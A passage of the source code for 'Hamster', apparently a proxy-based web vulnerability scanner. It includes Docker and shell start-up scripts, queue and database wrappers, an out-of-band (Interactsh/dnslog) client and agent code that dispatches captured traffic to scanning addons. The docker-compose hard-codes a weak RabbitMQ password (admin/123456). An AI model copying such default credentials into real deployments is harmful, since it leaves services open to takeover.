35 | - RABBITMQ_DEFAULT_USER=admin
36 | - RABBITMQ_DEFAULT_PASS=123456
37 | - LANG=en_US.UTF-8
38 | - TZ=Asia/Shanghai
39 | container_name: hamster_rabbitmq
40 | networks:
41 | - hamster_network
42 | hamster_scan:
43 | restart: unless-stopped
44 | build:
45 | context: ../
46 | dockerfile: docker/Dockerfile
47 | hostname: hamster_scan
48 | ports:
49 | - 8000:8000
50 | - 8001:8001
51 | - 8002:8002
52 | container_name: hamster_scan
53 | depends_on:
54 | - hamster_mysql
55 | - hamster_redis
56 | - hamster_rabbitmq
57 | networks:
58 | - hamster_network
59 | environment:
60 | - LANG=en_US.UTF-8
61 | - TZ=Asia/Shanghai
62 |
63 | networks:
64 | hamster_network:
65 |
66 |
--------------------------------------------------------------------------------
/docker/restart.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | file="lock.txt"
4 |
5 | ./wait-for-it.sh hamster_mysql:3306
6 | ./wait-for-it.sh hamster_redis:6379
7 | ./wait-for-it.sh hamster_rabbitmq:5672
8 |
9 | if [ -f "$file" ]; then
10 | echo "restarting process..."
11 | else
12 | echo "starting process..."
13 | python3 init.py
14 | echo 1 > "$file"
15 | fi
16 |
17 | ps aux | grep "python manager.py" | awk '{print $2}' | xargs kill -9
18 | nohup python3 manager.py > /dev/null &
19 | echo "started manager"
20 |
21 | ps aux | grep "python support.py" | awk '{print $2}' | xargs kill -9
22 | nohup python3 support.py > /dev/null &
23 | echo "started support!"
24 |
25 | ps aux | grep "python server.py"| awk '{print $2}' | xargs kill -9
26 | nohup python3 server.py > /dev/null &
27 | echo "started server!"
28 |
29 | ps aux | grep "python agent.py" | awk '{print $2}' | xargs kill -9
30 | python3 agent.py
31 | echo "started agent!"
32 |
33 | echo "started process!"
34 |
--------------------------------------------------------------------------------
/hamster.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # 检查参数数量
4 | if [ "$#" -ne 2 ]; then
5 | echo "Usage: $0 name cmd"
6 | echo "name: manager, server, support, agent, all"
7 | echo "cmd: restart, start, stop, status"
8 | exit 1
9 | fi
10 |
11 | name=$1
12 | cmd=$2
13 |
14 | stop_module(){
15 | echo "Stopping $1..."
16 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}')
17 | if [ ! -z "$pids" ]; then
18 | for pid in $pids; do
19 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster')
20 | if [ $? -eq 0 ]; then
21 | kill -9 $pid
22 | fi
23 | done
24 | fi
25 | echo "Stop $1 successfully!"
26 | }
27 |
28 | stop_all(){
29 | stop_module "manager"
30 | stop_module "support"
31 | stop_module "server"
32 | stop_module "agent"
33 | }
34 |
35 | status_module(){
36 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}')
37 | if [ ! -z "$pids" ]; then
38 | for pid in $pids; do
39 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster')
40 | if [ $? -eq 0 ]; then
41 | ps p $pid | grep "[p]ython $1"
42 | fi
43 | done
44 | fi
45 | }
46 |
47 | status_all(){
48 | status_module "manager"
49 | status_module "support"
50 | status_module "server"
51 | status_module "agent"
52 | }
53 |
54 |
55 | start_module(){
56 | pids=$( ps aux | grep "[p]ython $1" | awk '{print $2}')
57 | if [ ! -z "$pids" ]; then
58 | for pid in $pids; do
59 | flag=$(ls -la /proc/$pid | grep -i -q 'Hamster')
60 | if [ $? -eq 0 ]; then
61 | echo "$1 already running!"
62 | return
63 | fi
64 | done
65 | fi
66 | module="${1}.py"
67 | module_log="log/nohup_${1}.out"
68 | echo "Starting $1..."
69 | source venv/bin/activate
70 | nohup python $module >> $module_log &
71 | echo "Start $1 successfully!"
72 | }
73 |
74 |
75 | start_all(){
76 | start_module "manager"
77 | start_module "support"
78 | start_module "server"
79 | start_module "agent"
80 | }
81 |
82 |
83 | case $name in
84 | manager)
85 | ;;
86 | server)
87 | ;;
88 | support)
89 | ;;
90 | agent)
91 | ;;
92 | all)
93 | ;;
94 | *)
95 | echo "Unsupported name: $name"
96 | exit 1
97 | ;;
98 | esac
99 |
100 | case $cmd in
101 | restart)
102 | if [ "$name" == "all" ]; then
103 | stop_all
104 | start_all
105 | else
106 | stop_module $name
107 | start_module $name
108 | fi
109 | ;;
110 | start)
111 | if [ "$name" == "all" ]; then
112 | start_all
113 | else
114 | start_module $name
115 | fi
116 | ;;
117 | stop)
118 | if [ "$name" == "all" ]; then
119 | stop_all
120 | else
121 | stop_module $name
122 | fi
123 | ;;
124 | status)
125 | if [ "$name" == "all" ]; then
126 | status_all
127 | else
128 | status_module $name
129 | fi
130 | ;;
131 | *)
132 | echo "Unsupported cmd: $cmd"
133 | exit 1
134 | ;;
135 | esac
136 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/core/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/lib/core/env.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import os
6 | import sys
7 | import socket
8 | from datetime import timedelta
9 | from lib.util.configutil import parser_conf
10 |
11 | # 不生成pyc
12 | sys.dont_write_bytecode = True
13 |
14 | # 最低python运行版本
15 | REQUIRE_PY_VERSION = (3, 9)
16 |
17 | # 检测当前运行版本
18 | RUN_PY_VERSION = sys.version_info
19 | if RUN_PY_VERSION < REQUIRE_PY_VERSION:
20 | exit(f"[-] Incompatible Python version detected ('{RUN_PY_VERSION}). For successfully running program you'll have to use version {REQUIRE_PY_VERSION} (visit 'http://www.python.org/download/')")
21 |
22 | # 项目名称
23 | PROJECT_NAME = "Hamster"
24 |
25 | # 当前扫描器版本
26 | VERSION = "1.0"
27 |
28 | # 版本描述
29 | # VERSION_STRING = f"{PROJECT_NAME}/{VERSION}"
30 | VERSION_STRING = "X"
31 |
32 | # 当前运行入口文件
33 | MAIN_NAME = os.path.split(os.path.splitext(sys.argv[0])[0])[-1]
34 |
35 | # 当前运行路径
36 | ROOT_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
37 |
38 | # 日志路径
39 | LOG = 'log'
40 | LOG_PATH = os.path.join(ROOT_PATH, LOG)
41 |
42 | # 配置路径
43 | CONFIG = 'conf'
44 | ENV_CONFIG_PATH = os.path.join(ROOT_PATH, CONFIG)
45 |
46 | # 运行环境
47 | ENV_CONFIG_FILE_PATH = os.path.join(ENV_CONFIG_PATH, f"{PROJECT_NAME.lower()}_env.conf")
48 | config_file_list = [(ENV_CONFIG_FILE_PATH, {("env", f"This is a env config for {PROJECT_NAME}"): {("env", "Run env"): "online"}})]
49 | env_conf = parser_conf(config_file_list)
50 | ENV = env_conf.env.env.lower()
51 |
52 | # 配置文件路径
53 | CONFIG_PATH = os.path.join(ENV_CONFIG_PATH, ENV)
54 | BASIC_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_basic.conf")
55 | SIMPLE_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_simple.conf")
56 | SERVER_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_server.conf")
57 | AGENT_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_agent.conf")
58 | SUPPORT_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_support.conf")
59 | MANAGER_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_manager.conf")
60 |
61 | # 模版文件路径
62 | TEMPLATE = 'template'
63 | TEMPLATE_PATH = os.path.join(ROOT_PATH, TEMPLATE)
64 |
65 | # 静态文件路径
66 | STATIC = 'static'
67 | STATIC_PATH = os.path.join(ROOT_PATH, STATIC)
68 |
69 | # 相关Addon路径
70 | ADDON = 'addon'
71 | ADDON_PATH = os.path.join(ROOT_PATH, ADDON)
72 |
73 | # Agent addon路径
74 | AGENT_ADDON = 'agent'
75 | AGENT_ADDON_PATH = os.path.join(ADDON_PATH, AGENT_ADDON)
76 |
77 | # Agent addon路径
78 | TEST_ADDON = 'test'
79 | TEST_ADDON_PATH = os.path.join(ADDON_PATH, TEST_ADDON)
80 |
81 | # Server addon路径
82 | SERVER_ADDON = 'server'
83 | SERVER_ADDON_PATH = os.path.join(ADDON_PATH, SERVER_ADDON)
84 |
85 | # Support addon路径
86 | SUPPORT_ADDON = 'support'
87 | SUPPORT_ADDON_PATH = os.path.join(ADDON_PATH, SUPPORT_ADDON)
88 |
89 | # Common addon路径
90 | COMMON_ADDON = 'common'
91 | COMMON_ADDON_PATH = os.path.join(ADDON_PATH, COMMON_ADDON)
92 |
93 | # 当前运行主机名称
94 | HOSTNAME = socket.gethostname()
95 |
96 | # WEB 调试模式
97 | WEB_DEBUG = False
98 |
99 | # 静态文件缓存
100 | SEND_FILE_MAX_AGE_DEFAULT = timedelta(hours=1)
101 |
102 | # Web 路径前缀
103 | PREFIX_URL = "/" + PROJECT_NAME.lower() + "/" + ENV
104 |
105 | REDIS_SCAN_RECODE_PRIFIX = 'ScanRecode'
106 | REDIS_SCAN_QPS_LIMIT_PREFIX = 'QPSLimit'
107 |
108 | HALT = 'odjaodoka193891u12'
109 |
--------------------------------------------------------------------------------
/lib/core/g.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from asyncio import Queue
7 | from sqlalchemy.orm import sessionmaker
8 | from sqlalchemy.ext.asyncio import AsyncSession
9 | from sqlalchemy.ext.asyncio import create_async_engine
10 | from lib.core.log import Logger
11 | from lib.core.config import config_parser
12 | from lib.core.mysql import Mysql
13 | from lib.core.rabbitmq import RabbitMQ
14 | from lib.core.redis import Redis
15 |
16 | # 配置存储
17 | conf = config_parser()
18 |
19 | # task扫码队列
20 | task_queue = Queue()
21 |
22 | # rabbitmq保存队列
23 | mq_queue = Queue()
24 |
25 | # 漏洞数据保存队列
26 | vul_queue = Queue()
27 |
28 | # 缓存数据数据保存队列
29 | cache_queue = Queue()
30 |
31 | # 非漏洞其他model数据保存队列
32 | packet_queue = Queue()
33 | email_queue = Queue()
34 | path_queue = Queue()
35 | param_queue = Queue()
36 | jsonp_queue = Queue()
37 | cors_queue = Queue()
38 |
39 | # 缓存日志
40 | cache_log = Logger(name='cache', use_console=False, backupCount=conf.cache.cache_log_stored_day)
41 |
42 | # agent日志
43 | agent_log = Logger(name='agent', use_console=True, backupCount=conf.cache.log_stored_day)
44 |
45 | # server日志
46 | server_log = Logger(name='server', use_console=True, backupCount=conf.cache.log_stored_day)
47 |
48 | # support日志
49 | support_log = Logger(name='support', use_console=True, backupCount=conf.cache.log_stored_day)
50 |
51 | # manager日志
52 | manager_log = Logger(name='manager', use_console=False, backupCount=conf.cache.log_stored_day)
53 |
54 | # manager日志
55 | simple_log = Logger(name='simple', use_console=True, backupCount=conf.cache.log_stored_day)
56 |
57 | if 'agent' in MAIN_NAME:
58 | log = agent_log
59 | elif 'support' in MAIN_NAME:
60 | log = support_log
61 | elif 'manager' in MAIN_NAME:
62 | log = manager_log
63 | elif 'simple' in MAIN_NAME:
64 | log = simple_log
65 | else:
66 | log = server_log
67 |
68 | rabbitmq = RabbitMQ(
69 | host=conf.rabbitmq.host,
70 | port=conf.rabbitmq.port,
71 | username=conf.rabbitmq.username,
72 | password=conf.rabbitmq.password,
73 | name=conf.rabbitmq.name
74 | )
75 |
76 | redis = Redis(
77 | host=conf.redis.host,
78 | port=conf.redis.port,
79 | username=conf.redis.username,
80 | password=conf.redis.password,
81 | decode_responses=conf.redis.decode_responses,
82 | )
83 |
84 | mysql = Mysql(
85 | host=conf.mysql.host,
86 | port=conf.mysql.port,
87 | username=conf.mysql.username,
88 | password=conf.mysql.password,
89 | dbname=conf.mysql.dbname,
90 | charset=conf.mysql.charset,
91 | collate=conf.mysql.collate,
92 | )
93 |
94 | async_sqlalchemy_database_url = mysql.get_async_sqlalchemy_database_url()
95 | async_engine = create_async_engine(async_sqlalchemy_database_url)
96 | async_session = sessionmaker(async_engine, class_=AsyncSession)
97 |
98 | from lib.util.interactshutil import Interactsh
99 | interactsh_client = Interactsh()
--------------------------------------------------------------------------------
/lib/core/mysql.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.util.cipherutil import urlencode
6 |
7 |
8 | class Mysql(object):
9 |
10 | def __init__(self, host="127.0.0.1", port=6379, username=None, password=None, dbname=None, charset="utf8mb4",
11 | collate="utf8mb4_general_ci"):
12 | self.host = host
13 | self.port = port
14 | self.username = username
15 | if isinstance(password, int):
16 | password = str(password)
17 | self.password = urlencode(password)
18 | self.dbname = dbname
19 | self.charset = charset
20 | self.collate = collate
21 | self.sync_sqlalchemy_database_url = f'mysql+pymysql://{self.username}:{self.password}@{self.host}:{self.port}/{self.dbname}?charset={self.charset}'
22 | self.async_sqlalchemy_database_url_without_db = f'mysql+aiomysql://{self.username}:{self.password}@{self.host}:{self.port}/'
23 | self.async_sqlalchemy_database_url = f'{self.async_sqlalchemy_database_url_without_db}{self.dbname}?charset={self.charset}'
24 |
25 | def get_sync_sqlalchemy_database_url(self):
26 | """Sync 使用"""
27 | return self.sync_sqlalchemy_database_url
28 |
29 | def get_async_sqlalchemy_database_url_without_db(self):
30 | """Async 使用"""
31 | return self.async_sqlalchemy_database_url_without_db
32 |
33 | def get_async_sqlalchemy_database_url(self):
34 | """Async 使用"""
35 | return self.async_sqlalchemy_database_url
36 |
--------------------------------------------------------------------------------
/lib/core/rabbitmq.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | import aio_pika
7 | import traceback
8 |
9 |
10 | class RabbitMQ(object):
11 |
12 | def __init__(self, username, password, host="127.0.0.1", port=5672, name="test", exchange_name=None,
13 | routing_key=None, retry_count=3):
14 |
15 | self.username = username
16 | if isinstance(password, int):
17 | password = str(password)
18 | self.password = password
19 | self.host = host
20 | self.port = int(port)
21 | self.pre_name = name
22 | self.retry_count = retry_count
23 | self.channel = None
24 | self.connection = None
25 | self.exchange = None
26 | self.exchange_name = exchange_name if exchange_name else f'{self.pre_name}'
27 | self.queue_dic = {}
28 | self.default_routing_key = routing_key if routing_key else f'{self.pre_name}_dafault'
29 | self.url = f"amqp://{username}:{password}@{host}:{port}/"
30 |
31 | async def connect(self):
32 | if self.connection is None or self.channel is None or self.exchange is None or self.channel.is_closed:
33 | self.queue_dic = {}
34 | retry_count = self.retry_count
35 | while retry_count:
36 | try:
37 | self.connection = await aio_pika.connect(
38 | host=self.host, port=self.port,
39 | login=self.username, password=self.password
40 | )
41 | self.channel = await self.connection.channel()
42 | self.exchange = await self.channel.declare_exchange(
43 | self.exchange_name, aio_pika.ExchangeType.DIRECT, durable=True,
44 | )
45 | return True
46 | except Exception:
47 | retry_count -= retry_count - 1
48 | await asyncio.sleep((5 - retry_count) * 5)
49 | return False
50 |
51 | return True
52 |
53 | async def close(self):
54 | try:
55 | await self.channel.close()
56 | await self.connection.close()
57 | except:
58 | pass
59 | finally:
60 | self.channel = None
61 | self.connection = None
62 | self.exchange = None
63 |
64 | async def consumer(self, callback):
65 | while True:
66 | if await self.connect():
67 | try:
68 | for routing_key in self.queue_dic.keys():
69 | message = await self.queue_dic[routing_key].get(fail=False)
70 | if message:
71 | await callback(message)
72 | await message.ack()
73 | else:
74 | await asyncio.sleep(0.1)
75 | except:
76 | traceback.print_exc()
77 | await self.close()
78 | await asyncio.sleep(0.1)
79 |
80 | async def bind_routing_key(self, routing_key):
81 | if await self.connect():
82 | if routing_key not in self.queue_dic.keys():
83 | queue = await self.channel.declare_queue(name=routing_key, durable=True)
84 | await queue.bind(self.exchange, routing_key)
85 | self.queue_dic[routing_key] = queue
86 |
87 | async def unbind_routing_key(self, routing_key):
88 | if await self.connect():
89 | if routing_key in self.queue_dic.keys():
90 | # await self.queue_dic[routing_key].unbind(self.exchange, routing_key)
91 | self.queue_dic[routing_key] = None
92 | del self.queue_dic[routing_key]
93 |
94 | def get_routing_key_list(self):
95 | return self.queue_dic.keys()
96 |
97 | async def publish(self, message, priority=1, delivery_mode=2, routing_key=None):
98 | if await self.connect():
99 | routing_key = routing_key if routing_key else self.default_routing_key
100 | await self.bind_routing_key(routing_key)
101 | await self.exchange.publish(
102 | aio_pika.Message(message, priority=priority, delivery_mode=delivery_mode),
103 | routing_key=routing_key
104 | )
105 |
--------------------------------------------------------------------------------
/lib/core/redis.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import aioredis
6 |
7 |
8 | class Redis(object):
9 |
10 | def __init__(self, host="127.0.0.1", port=6379, username=None, password=None, decode_responses=True):
11 | self.host = host
12 | self.port = port
13 | self.username = username
14 | if isinstance(password, int):
15 | password = str(password)
16 | self.password = password
17 | self.decode_responses = decode_responses
18 | self.redis_pool = None
19 | self.redis_pool = aioredis.ConnectionPool.from_url(
20 | f"redis://{self.host}:{self.port}/",
21 | password=self.password,
22 | decode_responses=self.decode_responses,
23 | )
24 | self.redis_conn = None
25 |
26 | def get_redis_pool(self):
27 | return self.redis_pool
28 |
29 | async def connect(self):
30 | self.redis_conn = aioredis.Redis(connection_pool=self.redis_pool)
31 | return self.redis_conn
32 |
33 | async def ping(self):
34 | try:
35 | await self.redis_conn.ping()
36 | return True
37 | except:
38 | return False
39 |
--------------------------------------------------------------------------------
/lib/engine/agent/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | import asyncio
7 | from lib.core.g import log
8 | from lib.core.g import interactsh_client
9 | from lib.core.g import conf
10 | from lib.core.g import redis
11 | from lib.core.g import rabbitmq
12 | from lib.core.g import task_queue
13 | from lib.core.asyncpool import PoolCollector
14 | from lib.core.enums import EngineType
15 | from lib.core.enums import EngineStatus
16 | from lib.engine import BaseEngine
17 | from lib.util.util import get_host_ip
18 |
19 |
20 | class BaseAgent(BaseEngine):
21 | """Agent 基础类"""
22 |
23 | def __init__(self):
24 | super().__init__()
25 |
26 | # Engine 属性
27 | self.engine_type = EngineType.BASE_AGENT
28 | self.id = f'{HOSTNAME}_{self.engine_type}'
29 | self.ip = get_host_ip()
30 | self.status = EngineStatus.OK
31 |
32 |
33 | # 加载配置
34 | self.addon_async = conf.basic.addon_async
35 |
36 | # 属性初始化
37 | self.max_data_queue_num = conf.basic.max_data_queue_num
38 | self.scan_max_task_num = conf.scan.scan_max_task_num
39 | self.num_workers = 500
40 | self.remaining = 0
41 | self.scanning = 0
42 | self.queue_num = 0
43 | self.dnslog_api_key = conf.platform.dnslog_api_key
44 |
45 |
46 | def do_scan(self, flow_hash, flow, addon):
47 | """虚函数,子类实现"""
48 |
49 | async def consumer_message(self, message):
50 | """虚函数,子类实现"""
51 |
52 | def configure_addons(self):
53 | """加载脚本,子类实现"""
54 |
55 | def print_status(self):
56 | """打印状态"""
57 |
58 | self.remaining = task_queue.qsize()
59 | self.queue_num = self.get_data_queue_size()
60 | log.info(
61 | f"Engine: {self.id}, Status: {self.status}, Remaining: {self.remaining}, Scanning: {self.scanning}, Queue: {self.queue_num}, Max: {self.scan_max_task_num}")
62 |
63 | async def put_task_queue(self, flow_hash, flow, addon):
64 | """推送flow到任务队列"""
65 |
66 | while True:
67 | if task_queue.empty() and self.status != EngineStatus.STOP:
68 | await task_queue.put((flow_hash, flow, addon))
69 | break
70 | await asyncio.sleep(0.1)
71 |
72 | async def listen_task(self):
73 | """监听任务"""
74 |
75 | log.info("Starting listen task... ")
76 |
77 | # 等待配置加载完毕
78 | await asyncio.sleep(30)
79 | while True:
80 | try:
81 | await rabbitmq.consumer(self.consumer_message)
82 | except Exception as e:
83 | msg = str(e)
84 | log.error(f"Error listen_task, error: {msg}")
85 | finally:
86 | await rabbitmq.close()
87 | await asyncio.sleep(0.1)
88 |
89 | async def submit_task(self, manager: PoolCollector):
90 | """提交任务到扫描模块"""
91 | log.info("Starting submit task... ")
92 | try:
93 | while True:
94 | self.scanning = manager.scanning_task_count + manager.remain_task_count
95 | if not task_queue.empty() and self.scanning < self.scan_max_task_num:
96 | self.queue_num = self.get_data_queue_size()
97 | if self.queue_num < self.max_data_queue_num:
98 | flow_hash, flow, addon = await task_queue.get()
99 | await manager.submit(self.do_scan, flow_hash, flow, addon)
100 | else:
101 | await asyncio.sleep(0.1)
102 | else:
103 | await asyncio.sleep(0.1)
104 | except Exception as e:
105 | msg = str(e)
106 | log.error(f"Error submit_task, error: {msg}")
107 | finally:
108 | await manager.shutdown()
109 |
110 |
111 | async def running(self):
112 | """启动agent"""
113 |
114 | await rabbitmq.connect()
115 | await redis.connect()
116 |
117 | async with PoolCollector.create(num_workers=self.num_workers) as manager:
118 | asyncio.ensure_future(self.init_dnslog())
119 | asyncio.ensure_future(self.submit_task(manager))
120 | asyncio.ensure_future(self.listen_task())
121 | asyncio.ensure_future(self.data_center())
122 | asyncio.ensure_future(self.cache_center())
123 | asyncio.ensure_future(self.heartbeat())
124 | async for result in manager.iter():
125 | pass
126 |
127 | def run(self):
128 | loop = asyncio.new_event_loop()
129 | asyncio.set_event_loop(loop)
130 | loop.run_until_complete(self.running())
--------------------------------------------------------------------------------
/lib/engine/agent/vulagent.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | import json
7 | import asyncio
8 | import traceback
9 | from lib.core.g import log, rabbitmq
10 | from lib.core.enums import EngineType
11 | from lib.engine.agent import BaseAgent
12 | from lib.util.flowutil import flow_loads
13 | from lib.util.cipherutil import base64decode
14 | from lib.util.addonutil import import_addon_file
15 |
16 | class VulAgent(BaseAgent):
17 | """
18 | VulAgent
19 | """
20 |
21 | def __init__(self):
22 | super().__init__()
23 |
24 | # Engine 属性
25 | self.engine_type = EngineType.VUL_AGENT
26 | self.id = f'{HOSTNAME}_{self.engine_type}'
27 |
28 | def configure_addons(self):
29 | """加载脚本,子类实现"""
30 |
31 | self.addon_list = [addon for addon in import_addon_file(AGENT_ADDON_PATH) if hasattr(addon, 'prove')]
32 |
33 | async def consumer_message(self, message):
34 | message_body = message.body.decode()
35 | try:
36 | message_dic = json.loads(message_body)
37 | flow = flow_loads(base64decode(message_dic['flow_base64_data']))
38 | flow_addon_type = message_dic['flow_addon_type']
39 | flow_hash = message_dic['flow_hash']
40 | flow_addon_list = None if message_dic['flow_addon_list'] is None or message_dic['flow_addon_list'] == "ALL" else json.loads(message_dic['flow_addon_list'])
41 | except Exception as e:
42 | msg = str(e)
43 | log.error(f"Error load message, error: {msg}")
44 | else:
45 | # 匹配addon脚本
46 | if flow_addon_list is None:
47 | addon_list = self.addon_list
48 | else:
49 | if isinstance(flow_addon_list, list):
50 | addon_list = []
51 | for addon_path in flow_addon_list:
52 | for addon in self.addon_list:
53 | if addon_path == addon.info().get("addon_path", ""):
54 | addon_list.append(addon)
55 | break
56 | else:
57 | addon_list = self.addon_list
58 |
59 | if len(addon_list) and addon_list[0].is_scan_response(flow):
60 | for addon in addon_list:
61 | try:
62 | addon_type = addon.info().get("addon_type", None)
63 | if addon_type == flow_addon_type:
64 | if addon.enable:
65 | await self.put_task_queue(flow_hash, flow, addon)
66 | else:
67 | log.info(f"Bypass addon scan, hash: {flow_hash}, addon: {addon.name}")
68 | except Exception as e:
69 | msg = str(e)
70 | log.error(f"Error addon scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}")
71 | else:
72 | log.info(f"Bypass scan response packet, hash: {flow_hash}")
73 |
74 | async def do_scan(self, flow_hash, flow, addon):
75 | """扫描函数"""
76 |
77 | try:
78 | if addon.is_scan_response(flow):
79 | log.info(f"Start scan, hash: {flow_hash}, addon: {addon.name}")
80 | res = await addon.prove(flow)
81 | log.info(f"Final scan, hash: {flow_hash}, addon: {addon.name}")
82 | else:
83 | log.info(f"Skip scan, hash: {flow_hash}, addon: {addon.name}")
84 | except (ConnectionResetError, ConnectionAbortedError, TimeoutError, asyncio.TimeoutError):
85 | pass
86 | except (asyncio.CancelledError, ConnectionRefusedError, OSError):
87 | pass
88 | except Exception:
89 | msg = str(traceback.format_exc())
90 | log.error(f"Error scan, hash: {flow_hash}, addon: {addon.name}, error: {msg}")
--------------------------------------------------------------------------------
/lib/engine/manager/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from lib.engine import BaseEngine
7 | from lib.core.g import log
8 | from lib.core.g import conf
9 | from lib.core.enums import EngineType
10 | from lib.core.enums import EngineStatus
11 | from lib.util.util import get_host_ip
12 |
13 |
14 | class BaseManager(BaseEngine):
15 | """Manager 基础类"""
16 |
17 | def __init__(self):
18 | super().__init__()
19 |
20 | # Engine 属性
21 | self.engine_type = EngineType.BASE_MANAGER
22 | self.id = f'{HOSTNAME}_{self.engine_type}'
23 | self.ip = get_host_ip()
24 | self.status = EngineStatus.OK
25 |
26 | # 属性初始化
27 | self.remaining = 0
28 | self.scanning = 0
29 | self.queue_num = 0
30 | self.scan_max_task_num = conf.scan.scan_max_task_num
31 | self.max_data_queue_num = conf.basic.max_data_queue_num
32 |
33 |
34 | def print_status(self):
35 | """打印状态"""
36 |
37 | log.info(f"Engine: {self.id}, Status: {self.status}")
--------------------------------------------------------------------------------
/lib/engine/manager/webmanager.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from werkzeug.middleware.proxy_fix import ProxyFix
7 | from lib.core.enums import EngineType
8 | from lib.hander import app
9 | from lib.core.g import conf
10 | from lib.engine.manager import BaseManager
11 |
12 | class WebManager(BaseManager):
13 | """
14 | Manager 控制台
15 | """
16 |
17 | def __init__(self):
18 | super().__init__()
19 |
20 | # Engine 属性
21 | self.engine_type = EngineType.WEB_MANAGER
22 | self.id = f'{HOSTNAME}_{self.engine_type}'
23 |
24 | # 加载配置
25 | self.listen_host = conf.manager.listen_host
26 | self.listen_port = conf.manager.listen_port
27 |
28 | def run(self):
29 | app.wsgi_app = ProxyFix(app.wsgi_app)
30 | app.run(host=self.listen_host, port=self.listen_port)
31 |
32 |
--------------------------------------------------------------------------------
/lib/engine/master/servermaster.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import traceback
6 | from lib.core.env import *
7 | import json
8 | import asyncio
9 | from mitmproxy.addons import asgiapp
10 | from lib.engine.master import BaseMaster
11 | from lib.core.g import log
12 | from lib.core.g import conf
13 | from lib.core.g import mq_queue
14 | from lib.core.g import redis
15 | from lib.core.g import rabbitmq
16 | from lib.hander import app
17 | from lib.core.common import handle_flow
18 | from lib.core.enums import EngineType
19 | from lib.util.flowutil import flow_dumps
20 | from lib.util.cipherutil import base64encode
21 |
22 | class ServerMaster(BaseMaster):
23 | """
24 | Server Master为主代理监听模块
25 | """
26 |
27 | def __init__(self):
28 | super().__init__()
29 |
30 | # Engine 属性
31 | self.engine_type = EngineType.SERVER_MASTER
32 | self.id = f'{HOSTNAME}_{self.engine_type}'
33 |
34 | # 属性初始化
35 | self.addon_list = []
36 | self.addon_top_path_list = [SERVER_ADDON_PATH, COMMON_ADDON_PATH]
37 |
38 | # 加载配置
39 | self.options.listen_host = conf.server.listen_host
40 | self.options.listen_port = conf.server.listen_port
41 | self.addons.add(asgiapp.WSGIApp(app, conf.basic.listen_domain, 80))
42 |
43 | def hook(self):
44 | """运行相关伴随线程"""
45 |
46 | # 加载配置
47 | self.configure_addons()
48 |
49 | # 启动心跳
50 | asyncio.ensure_future(self.heartbeat())
51 |
52 | # 启动任务推送
53 | asyncio.ensure_future(self.task_center())
54 |
55 |
56 |
57 | async def task_center(self):
58 | """直接调用mitm的线程,容易造成mysql链接阻塞,因此需要单独线程推送数据包到消息队列"""
59 |
60 | log.info("Starting task center... ")
61 | await rabbitmq.connect()
62 | await redis.connect()
63 |
64 | while True:
65 | try:
66 | if not mq_queue.empty():
67 | (flow, addon_list, routing_key) = await mq_queue.get()
68 | await self.handle_task(flow, addon_list, routing_key)
69 | else:
70 | await asyncio.sleep(0.1)
71 | except Exception as e:
72 | msg = str(e)
73 | traceback.print_exc()
74 | log.error(f"Error listener center, error: {msg}")
75 |
76 |
77 |
78 | async def handle_task(self, flow, addon_list=None, routing_key=None):
79 | """
80 | flow 去重,并添加扫描队列
81 | :param flow: 扫描的数据包
82 | :param addon_list: 需要扫描的addon列表, 空为全部
83 | """
84 |
85 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, None, addon_list):
86 | message = {
87 | 'flow_addon_list': flow_addon_list,
88 | 'flow_addon_type': flow_addon_type,
89 | 'flow_hash': flow_hash,
90 | 'flow_base64_data': base64encode(flow_dumps(flow))
91 | }
92 | await self.push_data_to_mq(message, routing_key)
93 |
94 |
95 | async def push_data_to_mq(self, data, routing_key=None):
96 | """推送至扫描队列"""
97 |
98 | if routing_key and not routing_key.startswith(rabbitmq.pre_name):
